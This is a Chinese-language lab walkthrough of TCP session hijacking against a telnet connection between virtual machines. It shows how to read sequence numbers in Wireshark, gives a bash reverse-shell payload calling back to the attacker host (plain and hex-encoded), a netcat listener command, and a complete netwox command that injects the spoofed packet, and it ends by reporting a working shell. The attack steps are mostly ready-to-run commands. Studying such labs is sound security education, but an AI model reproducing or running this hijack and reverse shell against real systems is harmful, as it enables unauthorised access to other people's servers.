环境准备

攻击主机:Kali linux IP:192.168.108.143
服务器 :Kali linux IP:192.168.108.128
客户端 :Windows 7 IP:192.168.108.142
软件:wireshark、netwox、putty

攻击过程

在攻击主机上打开wireshark抓包程序,监听虚拟机的共同网卡

客户端通过telnet连接至服务器,使用putty连接服务器,在putty中输入服务器IP地址,选择telnet连接,点击open,进入连接。

输入用户名和密码成功登录

攻击主机的wireshark设置过滤为telnet数据包

找到列表的最后一个telnet数据包,查看端口以及Next sequence number和Acknowledgment字段

由于攻击需要伪造下一个数据包,根据基本的TCP数据包知识,可以知道,下一个数据包的Seq字段为上一个数据包的Ack字段;下一个数据包的Ack字段为上一个数据包的Next Seq字段。攻击者伪造的是客户端发送的数据包,那么伪造的数据包中,源IP应为192.168.108.142;目的IP为192.168.108.128;源端口为50280;目的端口为23。
攻击开始前,需要准备攻击载荷(Payload),攻击方伪造一个数据包向服务器发送一个反弹shell命令:bash -i > /dev/tcp/192.168.108.143/8080 2>&1 0<&1
需要将反弹shell命令转化为16进制字符传输,转换后的16进制如下:
62617368202d69203e202f6465762f7463702f3139322e3136382e3130382e3134332f3830383020323e263120303c2631
在攻击主机输入以下命令用于接收反弹shell的连接:nc -lvnp 8080

另外再开启一个终端,使用netwox开始进行攻击,输入执行以下命令:
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 192.168.108.142 --ip4-dst 192.168.108.128 --tcp-src 50280 --tcp-dst 23 --tcp-seqnum 669207664 --tcp-acknum 2644537684 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data '62617368202d69203e202f6465762f7463702f3139322e3136382e3130382e3134332f3830383020323e263120303c26310d'
这里注意,反弹shell的16进制末尾加上了0d,表示回车的意思,命令如图

此时在wireshark中可以看到伪造的数据包,并且可以看到发送的反弹shell,说明成功发送

发现端口监听窗口已成功连接反弹shell,执行命令ip a,成功得到回显,此时已经成功劫持了会话